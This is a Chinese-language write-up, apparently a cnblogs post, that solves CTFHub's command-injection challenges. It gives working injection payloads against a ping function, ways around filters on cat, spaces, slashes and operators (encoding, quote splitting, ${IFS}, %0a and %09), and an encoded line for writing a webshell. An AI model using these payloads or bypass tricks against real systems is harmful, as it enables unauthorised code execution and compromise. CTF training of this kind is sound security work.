• CTFHUB-技能树-Web-RCE(下)


    这一篇讲命令注入

    常用特殊字符:
    cmd1|cmd2:无论cmd1是否执行成功,cmd2将被执行
    cmd1&cmd2:无论cmd1是否执行成功,cmd2将被执行
    cmd1;cmd2:无论cmd1是否执行成功,cmd2将被执行
    cmd1||cmd2:仅在cmd1执行失败时才执行cmd2
    cmd1&&cmd2:仅在cmd1执行成功后才执行cmd2
    ((cmd):echo)(whoami)或者$(touch test.sh;echo 'ls' >test.sh)
    'cmd':用于执行特定命令,如'whoami'
    >(cmd):<(ls)
    <(cmd):>(ls)

    命令注入-无过滤

    源码就是一个ping命令直接拼接上ip的内容

    所以构造一下

    ①127.0.0.1|ls

    ②127.0.0.1|cat 66301059911779.php

    发现什么都没有,看一下源码发现原来flag被注释了

    过滤cat

    ls发现flag文件,但是cat命令被过滤,所以得想办法读flag文件的内容,发现我不会,记录一下

    参考https://blog.csdn.net/szgyunyun/article/details/104970118

    cat 由第一行开始显示内容,并将所有内容输出

    tac 从最后一行倒序显示内容,并将所有内容输出

    more 根据窗口大小,一页一页的现实文件内容

    less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

    head 只显示头几行

    tail 只显示最后几行

    nl 类似于cat -n,显示时输出行号

    tailf 类似于tail -f

    另:参考https://www.cnblogs.com/chalan630/p/12542239.html

    拼接绕过:a=fl;b=ag;cat (a)b

    编码绕过:(base64)echo MTIzCg==|base64 -d #123

    (16进制)echo "313233"|xxd -r -p #123

    (10进制)$(printf "154163") #ls

    可以通过这样来写webshell,内容为 ${printf,"7477160150160401001451661411545044137120117123124133471434713551737776"} >> 1.php

    反斜杠:ca flag

    单引号或双引号绕过:ca''t flag或ca""t flag

    ({}执行代码:){phpinfo()};

    选择任意一个使用,flag仍然在源码中查看

    过滤空格

    绕过方式(替换掉空格):

    ①全局变量:({IFS}或者)IFS(9,)IFS

    ②重定向符:<

    ③变量自定义:cmd=('x20flag_2413114655637.php'&&cat)cmd

    ④字符串处理:a=((id)&&b=){a:16:1}&&cat${b}flag_2413114655637.php

    参考https://blog.csdn.net/weixin_39219503/article/details/103948357

    ⑤%20(space)、%09(tab)

    过滤目录分隔符/

    这题过滤了/,但是好像不需要用到

    直接构造127.0.0.1;cd flag_is_here;cat flag_11504215555192.php

    这题好像用| & &&都不行,不知道为什么

    过滤运算符

    把/ | &都给过滤了,漏了一个;

    构造127.0.0.1;cat flag_325302658114852.php

    综合过滤(组合拳)

    可以看到过滤了/ | & ; (空格) cat flag ctfhub

    这里我们先想一下操作

    ①127.0.0.1;ls

    ②127.0.0.1;cd flag_is_here;ls

    ③127.0.0.1;cd flag_is_here;cat flag_xxx.php

    注意这一题命令注入点在url上,而不是框框里输入

    ;号不能用可以用%0a、%0d代替,不过这题好像只能用%0a

    空格被过滤上面讲了如何绕过

    flag被过滤可以fla''g、fla""g等,上面讲了

    cat上面也讲了

    构造:127.0.0.1%0acd%09fla""g_is_here%0atac%09fla""g_18066919615927.php

    这里看到了一个有点奇特的payload,记一下

    127.0.0.1%0acd%09%0atac%09

    不明白为什么*可以替换掉所有 = =

    找大佬问清楚了,这里是属于巧合了,*是匹配任意值,而这题刚好只有一个目录,目录下只有一个文件,所以才能够执行正确

    同理可以把部分换成*也可以

  • 相关阅读:
    jsonp的实现原理和缺点
    vue $set的使用初了解
    js将多维数组转换为一维数组
    微信小程序之页面打开数量限制
    ZOJ 1463 Brackets Sequence
    CSUOJ 1248 非变性聚丙烯酰胺凝胶电泳
    ZOJ 1524 Supermarket
    POJ 1012 Joseph
    ZOJ 1276 Optimal Array Multiplication Sequence
    POJ 1742 Coins
  • 原文地址:https://www.cnblogs.com/Web-Fresher/p/13723364.html
Copyright © 2020-2023  润新知